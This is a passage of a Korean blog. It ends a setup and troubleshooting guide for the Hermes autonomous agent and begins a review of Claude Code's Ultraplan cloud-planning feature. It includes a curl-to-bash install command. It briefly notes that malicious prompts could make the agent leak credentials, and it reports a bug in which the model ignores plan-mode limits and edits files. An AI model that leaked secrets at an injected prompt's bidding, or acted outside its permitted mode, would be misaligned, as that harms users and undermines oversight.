처음에는 스킬 저장소가 비어 있지만, 같은 종류의 작업을 반복하면 에이전트가 패턴을 인식해서 스킬 파일을 자동으로 만든다. 다음번에 비슷한 요청이 들어오면 그 스킬을 재사용한다.

시나리오 B: 월 $5 클라우드 서버에서 개인 비서 에이전트 운영

VPS(Virtual Private Server)는 클라우드에서 빌려 쓰는 가상 서버다.

DigitalOcean, Vultr, Hetzner 같은 서비스에서 월 $5(약 7,000원) 정도면 가장 저렴한 서버 한 대를 빌릴 수 있다.

내 PC를 24시간 켜둘 필요 없이, 이 서버에 Hermes를 설치해두면 Telegram/Discord로 언제든 에이전트에게 지시할 수 있다.

README도 "$5 VPS, GPU 클러스터, 서버리스 인프라 어디서나 운용 가능"이라고 명시하고 있다.

아래는 구성 단계 예시이다.

# 1. VPS에 Hermes 설치
ssh user@your-vps
curl -fsSL https://raw.githubusercontent.com/NousResearch/hermes-agent/main/scripts/install.sh | bash
source ~/.bashrc

# 2. 저비용 모델 설정 (OpenRouter 예시)
hermes model                  # → OpenRouter 선택 후 API 키 입력
# 또는 직접 .env에 기입:
# echo "OPENROUTER_API_KEY=sk-or-..." >> ~/.hermes/.env

# 3. Telegram 게이트웨이 연결
hermes gateway                # → Telegram 선택 후 Bot Token 입력

# 4. systemd 서비스로 상시 실행 (install.sh가 자동 설정)
sudo systemctl enable hermes-agent
sudo systemctl start hermes-agent

# 5. Telegram에서 메시지 전송 → 에이전트가 서버에서 자율 실행 후 결과 반환

(출처: GitHub README + Quickstart 문서)

cron 스케줄러를 쓰면 매일 오전 보고서 생성, 매시간 모니터링 같은 작업을 자동으로 돌릴 수 있다. terminal.backend을 docker로 바꾸면 에이전트가 컨테이너 안에서만 실행되니까, VPS 본체를 건드릴 걱정이 줄어든다.

시나리오 C: Gemma 4 + Hermes + OpenClaw 조합

README에 Gemma 4와 Hermes, OpenClaw를 함께 사용하는 조합이 명시되어 있으며, 관련 YouTube 영상에서 시연된다

(영상 내 세부 내용은 직접 확인하지 않아 이 글에서 다루지 않는다).

OpenClaw에서 Hermes로 마이그레이션 후 Gemma 4를 로컬 또는 Nous Portal에서 모델로 선택하는 구성이 가능하다는 점은 README에서 확인된다.

시나리오 D: 언제 Hermes를 선택하고, 언제 다른 도구를 선택하는가

상황	권장 선택
장기 사용자 메모리가 필요한 개인 에이전트	Hermes
여러 메시징 플랫폼에 동일 에이전트 연결	Hermes
자율 스킬 생성·재사용이 핵심 요구사항	Hermes
단순 1회성 자동화 스크립트	오버스펙 — 경량 도구 권장
Windows 네이티브 환경 필수	Hermes 미지원 (WSL2로 우회 가능)
기존 OpenClaw 기반 워크플로우	hermes claw migrate로 전환 검토

정리하면, Hermes는 반복 사용하면서 학습시키는 용도에 맞다.

한 번 쓰고 버릴 자동화 스크립트나 Windows 네이티브 환경이라면 다른 도구가 낫다.

8. 제한사항 및 주의사항

Windows 네이티브 미지원

Windows에서 install.sh를 실행하면 "PowerShell 인스톨러를 쓰라"는 안내와 함께 멈춘다. 공식 지원은 Linux, macOS, WSL2뿐이다.

WSL2에서는 잘 돈다. 다만 /mnt/c/ 같은 Windows 네이티브 파일시스템을 쓰면 IO가 느리니까, WSL2 내부 경로에서 작업하는 게 좋다.

자가학습의 한계

에이전트가 잘못된 방법을 "학습"할 수도 있다. 예를 들어 프로덕션 DB에 직접 접속하는 패턴을 스킬로 저장해버리면, 다음에도 같은 방식으로 접근한다. 소스코드에 스킬 생성 후 검증 로직이 있긴 하지만, 초기에는 ~/.hermes/skills/에 생성된 스킬 파일을 직접 열어서 확인하는 습관을 들이는 게 안전하다.

그리고 10가지 서로 다른 작업을 한 번씩 하면 학습 효과는 거의 없다. 같은 유형의 작업을 최소 10~20회 이상 반복해야 눈에 띄는 개선이 생긴다. 로컬 70B 이하 모델에서는 도구 선택과 멀티스텝 계획 품질도 떨어지므로, 학습 효과를 기대하려면 Claude나 GPT급 모델을 쓰는 게 낫다.

외부 메모리 공급자 제약

앞서 설명한 대로, 외부 메모리 플러그인은 1개만 쓸 수 있다. Honcho를 연결했으면 다른 외부 메모리는 동시에 못 쓴다.

메모리 용량 제한

MEMORY.md는 2,200자(약 800 토큰), USER.md는 1,375자(약 500 토큰)가 상한이다. 용량 초과 시 에러가 발생하고 자동 삭제는 되지 않는다. 공식 문서는 80% 초과 시 수동으로 정리하라고 권고한다. 장기 사용 시 메모리를 주기적으로 정돈해야 하는 부담이 있다.

IDE 통합이 없다

VS Code 플러그인이 없고, Cursor처럼 인라인 자동완성도 안 된다. 터미널과 메시징 앱만 지원한다. 코드를 짜면서 옆에서 도움받고 싶은 사람에게는 맞지 않는다. MCP로 에디터를 연결할 수는 있지만, IDE에 녹아든 경험과는 다르다.

보안: 자격증명 보호

에이전트가 브라우저를 직접 제어하니까, 악의적인 프롬프트가 API 키 같은 자격증명을 빼가는 게 이론적으로 가능하다. v0.7.0에서 이를 막기 위해 브라우저 URL과 LLM 응답에서 시크릿 패턴을 스캔하는 레이어가 추가됐다. URL 인코딩, base64 인코딩 경로도 잡아내고, 보호 대상에 .docker, .azure, .config/gh 디렉토리까지 추가됐다.

다만 스캔이 모든 공격을 잡아낸다는 보장은 없으므로, Docker 백엔드로 격리하는 것이 안전하다.

보안: 미인증 RCE 취약점 (주의)

2026-04-09 기준, webhook을 통한 미인증 원격 코드 실행(RCE) 이슈(#6440)와 API 서버를 통한 미인증 RCE 이슈(#6439)가 공개 보고 상태다. 외부 네트워크에 노출된 환경에서 운영할 경우 반드시 해당 이슈의 패치 여부를 확인해야 한다.

토큰 오버헤드: 호출당 73%가 고정비

커뮤니티 분석(Issue #4379)에 따르면, 매 API 호출마다 도구 정의와 시스템 프롬프트가 고정으로 붙어서 호출당 약 73%가 고정 오버헤드다. 한 사용자가 3개 게이트웨이로 하룻저녁 돌렸더니 약 390만 토큰이 나갔다고 한다. API 키 종량제를 쓴다면 비용에 직접 영향이 있으므로, 불필요한 도구를 줄이는 progressive tool loading이 제안됐지만 아직 구현 중이다.

그래서 한 달에 얼마나 나오나?

소프트웨어 자체는 무료(MIT 라이선스)다. 비용이 나가는 건 API 사용료와 서버 호스팅비다.

사용 패턴	월 API 비용 (추정)	비고
가벼운 사용 (하루 10회 대화)	$10~$30	CLI 위주
중간 사용 (하루 50회)	$30~$80	게이트웨이 1~2개
헤비 사용 (게이트웨이 3개 상시)	$100~$400+	Telegram은 CLI 대비 토큰 2~3배
로컬 모델 (Ollama)	$0	48GB+ RAM 필요, 70B 이하 모델은 품질 저하

위 수치는 커뮤니티 보고와 토큰 오버헤드 분석(Issue #4379)을 기반으로 한 추정이다. 실제 비용은 사용하는 모델, 공급자, 작업 복잡도에 따라 달라진다. 최신 API 가격은 각 공급자 공식 페이지에서 확인해야 한다.

비용 절감 팁: CLI를 기본으로 쓰고(Telegram 대비 토큰 절반), 미사용 도구 카테고리를 비활성화하면 요청당 ~3,500 토큰을 아낄 수 있다. 루틴 작업은 DeepSeek이나 Kimi 같은 저가 모델에 맡기고, 복잡한 작업에만 Claude/GPT를 쓰는 전략이 커뮤니티에서 추천된다.

빠른 릴리즈 속도의 양면

v0.1.0(2026-02-25)부터 v0.8.0(2026-04-08)까지 5주 만에 8번의 메이저 릴리즈를 냈다. 3~5일 간격이다. 활발한 개발의 신호이지만, 문서가 코드를 따라가지 못하는 구간이 생길 수 있고, 업데이트 후 기존 설정이 깨지는 경우도 보고되고 있다. 오픈 이슈+PR은 2026-04-09 기준 2,306개다.

Hermes vs Claude Code vs Cursor: 뭐가 다른가?

가장 많이 받는 질문이 "이미 Claude Code(또는 Cursor) 쓰고 있는데, Hermes는 뭐가 달라?"인 것 같다.

결론부터 말하면 카테고리 자체가 다르다.

Claude Code와 Cursor는 IDE 안에서 코드를 도와주는 "코딩 어시스턴트"이고, Hermes는 서버 위에서 알아서 돌아가는 "자율 에이전트"다.

비교 항목	Hermes Agent	Claude Code	Cursor
카테고리	자율 에이전트	코딩 어시스턴트 (CLI)	코딩 어시스턴트 (IDE)
장기 메모리	MEMORY.md + USER.md + SQLite FTS5	CLAUDE.md (프로젝트별)	.cursorrules
자가학습 (스킬 자동 생성)	O	X	X
24/7 자율 실행	O (cron + 게이트웨이)	X	X
메시징 플랫폼 연동	Telegram, Discord, Slack 등 15+	X	X
IDE 통합	X (터미널 전용)	VS Code, JetBrains	자체 IDE
인라인 코드 자동완성	X	X	O
모델 선택	200+ (OpenRouter 경유)	Claude 시리즈만	여러 모델 지원
가격	무료 + API 종량제	구독 $20~$200/월	구독 $20~$40/월

정리하면, IDE에서 코드 짜는 데 도움받고 싶다면 Claude Code나 Cursor가 맞다. Hermes는 "서버에 올려두고 반복 작업을 알아서 처리하게 하는 자동화 에이전트"로, 둘을 병행해서 쓰는 것도 가능하다.

위 비교는 2026-04-09 기준이며, 각 도구는 빠르게 변하고 있다. 정확한 기능과 가격은 각 공식 사이트에서 확인해야 한다.

9. 트러블슈팅 Q&A

Q1: 설치 후 hermes auth가 동작하지 않고 구 버전 레퍼런스와 명령어가 다르다

hermes auth 명령이 v0.8.0에서 hermes login을 대체했다. 구 버전 레퍼런스를 참고하고 있다면 명령어가 달라졌을 수 있다. 최신 커밋(2026-04-07)이 이 부분을 수정했다(fix: replace stale 'hermes login' refs with 'hermes auth').

Q2: hermes setup 실행 후 커스텀 엔드포인트 설정이 사라졌다

v0.7.0 이전 버전에서 setup wizard가 커스텀 엔드포인트를 덮어쓰는 버그가 있었다. v0.7.0에서 수정됐다. config.yaml이 엔드포인트 URL의 단일 소스로 지정됐으므로, 환경변수와 config.yaml 충돌 문제도 해결됐다.

Q3: openai-codex provider 사용 시 "Responses API returned no output items" 오류

2026-04-07 등록 후 2026-04-08 해결(closed) 된 버그다(#5678). gpt-5.4 스트리밍 중 output[]이 비어 있을 때 발생하는 것으로 보고됐다. 최신 버전으로 업데이트하면 해결된다.

Q4: MCP OAuth state Pydantic 직렬화 오류가 발생한다

PR #5677에서 수정 중이다. Pydantic AnyUrl 필드를 MCP OAuth state 영속화 시 직렬화하지 못하는 버그다. 해당 PR이 병합되면 해결될 예정이므로, 병합 여부를 PR 페이지에서 확인 후 업데이트하는 것을 권고한다.

Q5: Anthropic 모델 사용 중 갑자기 컨텍스트가 줄어들었다

Anthropic long-context tier 429 한도 도달 시 Hermes가 자동으로 컨텍스트를 200k로 축소한다. 의도된 동작이다.

Q6: cron 작업이 중복 실행된다

~/.hermes/cron/.tick.lock 파일이 남아 있는지와 실행 중인 cron 프로세스 상태를 먼저 확인하는 편이 안전하다. 중복 실행이 지속되면 GitHub 이슈 트래커에서 동일 증상 보고를 참고하라.

Q7: hermes setup 완료 직후 OSError: [Errno 22] Invalid argument 크래시

셋업 자체는 정상 완료되지만, 마지막 단계에서 자동으로 chat을 실행하려다 크래시가 발생하는 경우다. 전체 트레이스백은 다음과 같다:

File "setup.py", line 2916, in _offer_launch_chat
  cmd_chat(SimpleNamespace(...))
...
File "prompt_toolkit/input/vt100.py", line 165, in _attached_input
  loop.add_reader(fd, callback_wrapper)
...
OSError: [Errno 22] Invalid argument

원인: prompt_toolkit이 stdin(fd=0)을 asyncio selector에 등록하지 못하는 것으로, stdin이 정상적인 TTY가 아닌 환경에서 발생한다. Claude Code ! 명령, VS Code 내장 터미널 일부, 파이프된 stdin 등이 해당된다.

해결: 셋업은 이미 완료된 상태이므로, 일반 터미널(iTerm2, Terminal.app 등)을 별도로 열고 hermes chat을 직접 실행하면 된다. hermes setup을 다시 실행할 필요는 없다.

Q8: Anthropic 구독(Pro/Max)으로 Hermes를 쓰면 계정이 정지될 수 있다?

그렇다. 2026년 4월 4일부터 Anthropic은 Claude Free/Pro/Max 구독의 OAuth 토큰을 Hermes, OpenClaw 등 제3자 도구에서 사용하는 것을 정책 위반으로 규정하고 기술적으로 차단했다. 위반 시 사전 통보 없이 계정이 정지될 수 있다.

해결: console.anthropic.com에서 API 키를 발급받아 종량제로 사용하면 된다. hermes model에서 Anthropic 선택 후 API 키를 입력하면 정상 사용 가능하다.

Q9: hermes gateway 시작 시 InvalidToken: The token ... .png was rejected 에러

봇 토큰 입력란에 텍스트 토큰 대신 클립보드의 스크린샷 파일 경로가 붙여넣기 된 경우다. 실제 에러 메시지에 .png 경로가 찍힌다.

해결: hermes gateway setup을 다시 실행하고, BotFather에서 받은 123456789:ABCdefGHI... 형태의 텍스트 토큰을 정확히 붙여넣으면 된다. macOS에서 이미지를 복사한 상태라면 클립보드를 텍스트로 덮어쓴 뒤 붙여넣기 하자.

10. 자율 에이전트 트렌드 맥락

카파시 AutoResearch와의 비교

Andrej Karpathy의 AutoResearch는 단일 GPU에서 AI 에이전트가 5분짜리 LLM 학습 실험을 반복 실행하는 프로젝트다.

Hermes 팀은 여기서 영감을 받아 autoresearch 스킬을 개발 중이다. branch → experiment → evaluate → merge/revert 루프로 돌아가고, ML 최적화, 코드 분석, 경쟁 정보 등 여러 도메인에 적용할 수 있다. cron으로 백그라운드 실행되며 시간/토큰/실험 횟수에 상한을 걸어둘 수 있다.

AutoResearch가 ML 실험에 특화된 반면, Hermes는 같은 루프 구조를 코드 분석이나 리서치 같은 일반 작업에도 쓰려는 방향이다.

Hermes vs OpenClaw: 공식 소개 문구 비교

비교 항목	Hermes Agent	OpenClaw
공식 포지셔닝	self-improving AI agent	personal AI assistant
대표 강점	built-in learning loop, persistent memory, skills	다양한 채널에서 응답하는 다중 플랫폼 개인 비서
라이선스	MIT	MIT

둘 다 MIT 라이선스지만, Hermes는 self-improving을, OpenClaw는 personal assistant를 전면에 내세운다.

2026년 자가학습 에이전트의 방향성

커뮤니티 큐레이션 저장소 awesome-hermes-agent가 별도로 운영되고 있다. 저장소 메타데이터와 README를 통해 관련 링크와 자료를 정리하는 허브 역할을 확인할 수 있다.

자가학습 에이전트에서 빠지지 않는 질문이 "그래서 뭘 학습한 건지 확인할 수 있나?"다. Hermes는 스킬을 마크다운 파일로 저장하기 때문에 사람이 직접 열어서 내용을 확인하고 수정할 수 있다.

참고자료

Claude Code 신기능 'Ultraplan' 리뷰 - 터미널 멈춤 없는 클라우드 플래닝(로컬 Plan Mode vs 클라우드 플래닝)

갓대희 — Thu, 9 Apr 2026 19:00:17 +0900

안녕하세요! 갓대희 입니다.

오늘은 Claude Code의 새로운 클라우드 플래닝 기능 Ultraplan을 알아보자.

로컬 터미널에서 30분씩 멈춰 있던 플래닝 작업이 클라우드로 이동하고, 터미널은 자유를 되찾는다?? 라는 컨셉.

그리고 그 이면에는 "커스텀 skill을 쓰면 작동하지 않는다"는 치명적 버그가 숨어 있다.

약간 뜬구름 잡는 느낌일 것 같은데 하기 내용을 통해 살펴보자.

Ultra Plan / Ultraplan이란 무엇인가
시작하기: 가입, 설정, GitHub 연동
주요 기능 상세
아키텍처: 공개 정보 기반 추정
실전 사용 경험과 커뮤니티 반응
요금제 및 제한사항
대안 비교: Ultraplan vs 로컬 Plan Mode
트러블슈팅 Q&A + 결론

1. Ultra Plan / Ultraplan이란 무엇인가

핵심 한 줄: Ultraplan은 Claude Code의 플래닝 작업을 로컬 CLI에서 Claude Code on the web 클라우드 세션으로 오프로드하여, 터미널을 차단하지 않고 강력한 플래닝을 수행하는 기능이다. (출처: 공식 문서)

Claude Code를 쓰다 보면 plan mode에서 터미널이 수 분간 멈추는 경험을 한다. 복잡한 마이그레이션이나 대규모 리팩토링 작업일수록 이 "터미널 병목"은 더 심해진다.

공식 문서에 따르면, Ultraplan은 로컬 CLI에서 플래닝 작업을 Anthropic이 관리하는 클라우드 VM(Claude Code on the web)으로 넘긴다. 클라우드 세션은 plan mode로 실행되며, 그 사이 로컬 터미널은 완전히 자유롭다. 현재 research preview 단계이며, Claude Code v2.1.91 이상이 필요하다.

Ultraplan 실행 상태 모니터링

Ultraplan이 실행되면 CLI 프롬프트에 실시간 상태 표시가 나타난다. (출처: 공식 문서)

◇ ultraplan : Claude가 코드베이스를 분석하고 플랜을 작성 중
◇ ultraplan needs your input : 확인이 필요한 질문이 있음 — 세션 링크에서 응답
◆ ultraplan ready : 플랜 완성 — 브라우저에서 리뷰 가능

커뮤니티 추정: 플랜 모드 분류
일부 커뮤니티 분석에서는 Ultraplan 내부에 Simple Plan / Visual Plan / Deep Plan 등 복잡도별 모드가 존재한다고 추정하지만, 공식 문서에는 이러한 구분이 명시되어 있지 않다. 공식적으로 Ultraplan은 단일 plan mode 세션으로 설명된다.

Ultraplan과 Max Plan의 관계

"Ultra Plan"이라는 명칭은 두 가지 맥락에서 쓰인다. 하나는 Claude.ai의 유료 구독 플랜인 Max 플랜이고, 다른 하나는 Claude Code의 기능인 Ultraplan(/ultraplan 명령어)이다. 이 글에서는 후자, 즉 Claude Code의 기능에 초점을 맞춘다. Max 플랜의 요금 정보는 6절에서 다룬다.

⚠ 주의: Ultraplan은 공식적으로 research preview 단계이며, 동작과 기능이 피드백에 따라 변경될 수 있다. Claude Code v2.1.91 이상이 필요하며, Amazon Bedrock, Google Cloud Vertex AI, Microsoft Foundry 환경에서는 사용할 수 없다. (출처: 공식 문서)

2. 시작하기: 가입, 설정, GitHub 연동

필수 조건

Ultraplan을 사용하려면 두 가지 조건이 필요하다.

Claude.ai 계정: Pro, Max, Team, 또는 Enterprise 플랜 (Free 플랜 불가)
GitHub 저장소 연동: Ultraplan은 클라우드 VM에서 저장소를 클론하므로 GitHub 연동이 필요하다 (비연동 시 로컬 번들 폴백 존재)

로컬에만 있는 저장소나 커밋되지 않은 변경사항이 많은 저장소에서는 불완전한 컨텍스트로 플랜이 생성될 수 있다.

Ultraplan을 실행하는 세 가지 방법

공식 문서에 따르면 Ultraplan 실행 방법은 세 가지다.

방법 1: 직접 명령어 입력

/ultraplan migrate the auth service from sessions to JWTs

방법 2: 프롬프트 내 키워드 감지

프롬프트 어디에든 "ultraplan"이라는 단어를 포함하면 자동으로 Ultraplan 모드가 활성화된다.

방법 3: 로컬 플랜 완료 후 전환

로컬 플랜 완료 후 승인 다이얼로그에서 "No, refine with Ultraplan on Claude Code on the web"을 선택하면, 로컬 플랜 초안을 클라우드로 보내 더 정교하게 다듬을 수 있다.

진행 중인 Ultraplan 세션 모니터링

Ultraplan 세션이 실행되는 동안 로컬 터미널에서 아래 명령어로 상태를 확인할 수 있다.

/tasks

목록에서 ultraplan 항목을 선택하면 세션 링크, 에이전트 활동, Stop 옵션이 포함된 상세 뷰가 열린다.

3. 주요 기능 상세

클라우드 플래닝 완료 후 실행 선택

⚠ Remote Control 해제: Ultraplan 시작 시 Remote Control이 활성화되어 있으면 자동으로 해제된다. 두 기능이 동일한 claude.ai/code 인터페이스를 점유하므로 동시에 사용할 수 없다. (출처: 공식 문서)

Ultraplan 플래닝이 완료되면 브라우저에서 두 가지 실행 경로를 선택한다.

브라우저에서 구현: "Approve Claude's plan and start coding" → 동일한 Claude Code on the web 세션에서 바로 구현 시작
터미널로 텔레포트: "Approve plan and teleport back to terminal" → 승인된 플랜이 로컬 터미널로 전달

터미널로 텔레포트를 선택하면, 로컬 CLI에 "Ultraplan approved" 다이얼로그가 표시되며 세 가지 후속 선택지가 제공된다. (출처: 공식 문서)

Implement here: 현재 대화에 플랜을 주입하고 이어서 구현
Start new session: 기존 대화를 비우고 플랜만으로 새 세션 시작
Cancel: 플랜을 파일로 저장하고 나중에 다시 사용

리뷰 인터페이스: 플랜 검토 및 수정 요청

클라우드에서 플랜이 생성되면 브라우저 리뷰 뷰에서 상세하게 검토할 수 있다.

인라인 댓글: 특정 문단을 하이라이트하고 수정 요청 댓글 작성 가능
이모지 반응: 섹션별로 승인 또는 우려 표시
아웃라인 사이드바: 긴 플랜의 섹션 간 빠른 이동

이 인터페이스는 단순히 플랜을 보는 것을 넘어, Claude와 대화하며 플랜을 정교하게 다듬을 수 있게 해준다. 특히 여러 사람이 플랜을 리뷰해야 하는 팀 환경에서 유용하다.

GitHub 연동과 대규모 리팩토링

Ultraplan이 특히 빛을 발하는 시나리오는 대규모 리팩토링이다. Claude Code의 Agent Teams 기능은 복잡한 작업을 서브태스크로 분해하고 병렬 서브에이전트를 스폰한다.

예를 들어 대형 코드베이스 리팩토링 시:

에이전트 A: 데이터 모델 업데이트
에이전트 B: 테스트 코드 재작성
에이전트 C: 문서 업데이트

세 작업이 동시에 진행된다. GitHub 연동을 통해 클라우드 컨테이너가 저장소에 접근하고, 결과를 브라우저에서 검토한 뒤 PR로 병합하는 워크플로우가 가능하다.

Claude Code GitHub Action: GitHub PR과 이슈에서 @claude를 멘션하면 자동으로 Claude Code가 활성화되어 코드 변경을 구현할 수 있다. (GitHub)

4. 아키텍처 : 공개 정보 기반 추정

이 섹션은 공개된 소스코드 유출 분석, 공식 문서, 커뮤니티 역분석을 기반으로 한 추정이다. Anthropic이 공식적으로 확인한 내부 구현 상세가 아니다.

어떻게 클라우드에서 저장소에 접근하는가

공식 문서에 따르면, 클라우드 세션은 GitHub remote에서 현재 브랜치를 클론하여 실행된다. 따라서 로컬에만 있는 커밋은 먼저 push해야 클라우드에서 접근할 수 있다. (출처: Claude Code on the web 문서)

GitHub 연동이 없는 저장소의 경우, 로컬 저장소를 번들로 패킹하여 클라우드에 업로드하는 폴백 메커니즘도 존재한다. 단, 번들 크기 100MB 제한이 있으며 untracked 파일은 포함되지 않는다.

클라우드 세션과 병렬 에이전트 아키텍처

공식 문서에 따르면, 각 클라우드 세션은 격리된 Anthropic 관리 VM에서 실행되며, 리소스 상한은 약 4 vCPU / 16GB RAM / 30GB 디스크이다. (출처: 공식 문서)

2026-03-31 소스코드 유출 분석(참고)에서는 내부적으로 CCR(Cloud Container Runtime)이라는 용어, Opus 4.6 모델 사용, 최대 30분 실행 등이 언급되었으나, 이는 공식 문서에서 확인되지 않는 커뮤니티 역분석 결과이다.

클라우드 환경에서 서브에이전트(Task tool)를 통한 병렬 처리가 가능한 것은 공식 문서에서 확인된다. 이것이 로컬 대비 처리 속도 향상의 원인으로 추정되지만, 구체적인 병렬화 수준은 공식적으로 공개되지 않았다.

하네스 엔지니어링 패러다임

Prompt Engineering: 단일 프롬프트로 AI에게 요청
Context Engineering: CLAUDE.md, Rules, Memory 등 컨텍스트를 설계하여 AI 동작 제어
Harness Engineering: 여러 AI 에이전트를 오케스트레이션하는 시스템 설계

이 관점에서 Ultraplan은 하네스 엔지니어링의 실제 구현체다. 사용자는 단순히 Claude Code를 사용하는 것이 아니라, 클라우드 에이전트 하네스를 운용하는 엔지니어가 된다.

발표자료가 제안하는 2026 AI Developer OS 계층 구조는 다음과 같다.

계층	도구	역할
Overlord	Claude Ultraplan, Paperclip	최상위 오케스트레이션
Command	Claude Code, Anti-gravity	실행 에이전트
Logic	MCP	도구 통합 레이어
Core	Flutter, NestJS, TypeScript	기반 기술 스택

한 줄로 요약하면: Overlord가 목표를 정의하고, Command가 코드를 작성하고, Logic이 외부 도구를 연결하고, Core가 실제 결과물을 만든다.

5. 사용 경험과 커뮤니티 반응

속도: 얼마나 빠른가

한국 커뮤니티(GeekNews 등)에서 바이럴된 포스팅 에서는 "로컬 plan mode 5분 30초 vs Ultra Plan 30초 → 약 11배 빠름"을 주장했다.

⚠ 주의: 이 "11배 빠르다" 이 수치는 커뮤니티 포스트의 단일 사례에서 비롯된 것으로, 독립적으로 검증하지 못했다. 영문 기술 블로그들은 "로컬 대비 약 2배 빠른 처리"를 언급하고 있다. 실제 속도 향상은 작업 복잡도, 저장소 크기, 서버 부하에 따라 크게 달라질 수 있다. 직접 테스트로 확인하는 것이 권장된다.

이것이 의미하는 바 : 속도 향상의 본질은 단순한 모델 성능 차이가 아니라, 클라우드 병렬 에이전트 아키텍처에 있다. 같은 작업을 여러 에이전트가 동시에 처리하기 때문에, 복잡한 작업일수록 속도 이점이 커진다.

커스텀 Skill 제한사항: 설계상 제약 + 버그

공식 문서 기준 클라우드 세션에서의 설정 동기화 (출처: 공식 문서)

사용 가능: 프로젝트에 커밋된 .claude/skills/, .claude/agents/, .claude/commands/, .claude/rules/, CLAUDE.md
사용 불가: 유저 레벨 ~/.claude/CLAUDE.md, ~/.claude/settings.json의 유저 스코프 플러그인, claude mcp add로 추가한 MCP 서버

즉, 프로젝트 저장소에 커밋된 skill과 커맨드는 클라우드에서 정상 작동한다. 작동하지 않는 것은 로컬 머신에만 존재하는 유저 레벨 설정이며, 이는 버그가 아닌 설계상 제한이다.

다만, 이와 별개로 GitHub Issues에 리포트된 실제 버그도 존재한다.

GitHub Issues에는 세 가지 관련 버그가 리포트되어 있다.

버그 1: 커스텀 커맨드/스킬 오작동 (v0.88+)
v0.88 이후 버전에서 사용자 정의 커맨드와 스킬이 올바르게 로드되지 않거나 잘못된 커맨드를 호출하는 문제가 지속 리포트되고 있다. (GitHub Issue #41882) 이는 토큰 낭비와 잘못된 동작으로 이어진다.

버그 2: Ultraplan 승인 후 Plan Mode 위반
Ultraplan 결과를 승인한 후, 모델이 plan mode 제약을 무시하고 소스 파일을 직접 편집하는 버그가 존재한다. (GitHub Issue #43576) 원래는 플랜 파일에 내용을 쓰고 ExitPlanMode를 호출해야 하지만, ultraplan 결과를 받은 후에는 이 규칙이 위반된다.

버그 3: 커스텀 슬래시 커맨드 미인식
~/.claude/commands/ 디렉토리의 커스텀 슬래시 커맨드가 인식되지 않는 문제도 리포트되고 있다. (GitHub Issue #41243)

이것이 의미하는 바: Ultraplan의 클라우드 환경은 저장소 클론에서 시작하므로, 저장소에 커밋되지 않은 유저 레벨 설정(~/.claude/)은 접근할 수 없다. skill이나 커맨드를 클라우드에서 사용하려면, 반드시 프로젝트의 .claude/ 디렉토리에 커밋해야 한다.

커뮤니티 결론: 언제 Ultraplan, 언제 로컬

vyblor 포스트가 정리한 사용 지침은 다음과 같다: "단순 코딩 → Ultraplan, 커스텀 skill 활용 → 로컬 유지".

이는 기술적 현실에 기반한 실용적 판단이다. 현재 버그 상황에서 커스텀 skill 워크플로우는 로컬이 더 안정적이다.

직접 테스트: 로컬 Plan Mode vs Ultraplan 플랜 비교

커뮤니티 후기만으로는 판단이 어려워, 동일한 과제를 두 모드로 직접 실행해 비교했다.

/ultraplan vs 기존 /plan 모드

동일한 과제("autoimprove 파이프라인을 harness-blog-project에 적용")를 두 모드로 실행하여 직접 비교해봤다.

1. /ultraplan 수행

/ultraplan을 실행하면 클라우드에서 실행할지 확인하는 다이얼로그가 나타난다. 안내 내용은 다음과 같다:

웹에서 Claude의 플랜을 편집하고, 특정 부분에 댓글을 달 수 있는 인터랙티브 플래닝
이 세션의 Remote Control이 해제됨 (두 기능이 같은 claude.ai/code 인터페이스를 점유하므로 동시 사용 불가)

Run ultraplan을 선택하면 클라우드 세션이 시작된다.

원래라면 웹(claude.ai/code)에서 클라우드 에이전트들이 병렬로 작업을 처리해야 한다. 하지만 이번 테스트에서는 예상과 다른 상황이 발생했다.

하필 테스트에 사용한 레포가 무거운 상태였다. 공식 문서에 따르면 비-GitHub 저장소는 bundle 방식(100MB 제한)으로 업로드되는데, 이 제한에 걸리면 클라우드 전송에 실패하고 로컬에서 플래닝이 진행된다. 이 또한 실무에서 충분히 마주칠 수 있는 상황이므로 경험을 공유한다.

2. /plan 모드로 수행

비교를 위해 동일한 과제를 로컬 /plan 모드로도 실행했다.

3. 결과 비교

⚠ 이번 테스트의 특수한 상황

이번 /ultraplan 실행은 레포 용량 초과로 클라우드가 아닌 로컬에서 진행되었다. 따라서 Ultraplan의 핵심 장점인 클라우드 병렬 처리 속도 이점은 이 테스트에 반영되지 않았다.

커뮤니티에서는 정상적으로 웹에서 실행된 경우 "확실히 빠르고, 플랜의 구조화 수준도 높다"는 평가가 주류이다. 속도 면에서 로컬 대비 우위가 있다는 점은 커뮤니티 다수 의견이 일치한다.

이번 비교는 속도를 제외하고, 플랜 퀄리티(내용의 깊이와 실행 가능성) 관점에서 평가한다.

로컬 Plan Mode 결과 요약

핵심 진단: 6-Agent 하네스의 현재 병목은 Writer 에이전트에 집중되어 있다. Writer가 전체 품질 이슈의 약 80%를 차지하며, Evaluator의 피드백 루프가 Writer 수정에 의존하는 구조이므로 Writer 개선이 전체 파이프라인 품질에 직결된다.

우선순위 기반 접근:

P0 (즉시): Writer 에이전트 프롬프트에 자동 개선 루프 적용 — 과거 QA 리포트 패턴을 분석하여 반복 실패 항목을 Writer 프롬프트에 자동 반영
P1 (단기): Evaluator → Writer 피드백 경로 최적화 — failure code별 구체적 수정 지시 강화
P2 (중기): Researcher 에이전트 evidence 품질 개선 — evidence 부족이 Writer 품질 저하의 근본 원인인 경우 대응

특징: 기존 5개 런의 QA 리포트 데이터를 직접 분석하여 "어디가 가장 많이 실패하는가"를 수치로 파악한 뒤 계획을 도출했다. 데이터 기반 의사결정.

Ultraplan 결과 요약

3단계 구조화 접근:

Phase 1 — 분석: 현재 파이프라인의 SKILL.md, 에이전트 프롬프트, QA 기준 파일을 체계적으로 분석하여 개선 포인트 도출
Phase 2 — 설계: autoimprove 루프의 Score → Decide → Improve → Iterate 패턴을 하네스에 매핑하는 아키텍처 설계
Phase 3 — 구현 및 검증: 단계별 구현 후 기존 런과 비교 테스트로 품질 향상 여부 검증

리스크 매트릭스 포함: "자동 개선이 오히려 품질을 저하시킬 위험", "피드백 루프 무한 반복 가능성" 등 예상 리스크와 대응 방안을 사전에 정의했다.

특징: 프로젝트 관리 문서 수준의 체계적 구조. 팀원에게 공유하거나 리뷰를 받기에 적합한 형태.

- 별도의 에이전트에게 결과에 대한 비교도 요청 해 보았다.

비교 평가

평가 항목	로컬 Plan Mode	Ultraplan
문제 진단 깊이	우세 — 실제 데이터 기반 병목 분석	구조적 분석, 데이터 참조 없음
실행 가능성	우세 — 즉시 실행 가능한 P0/P1/P2	Phase 구분은 명확하나 구체성 부족
문서 완성도	실무 메모 수준	우세 — 리스크 매트릭스, 검증 방법론 포함
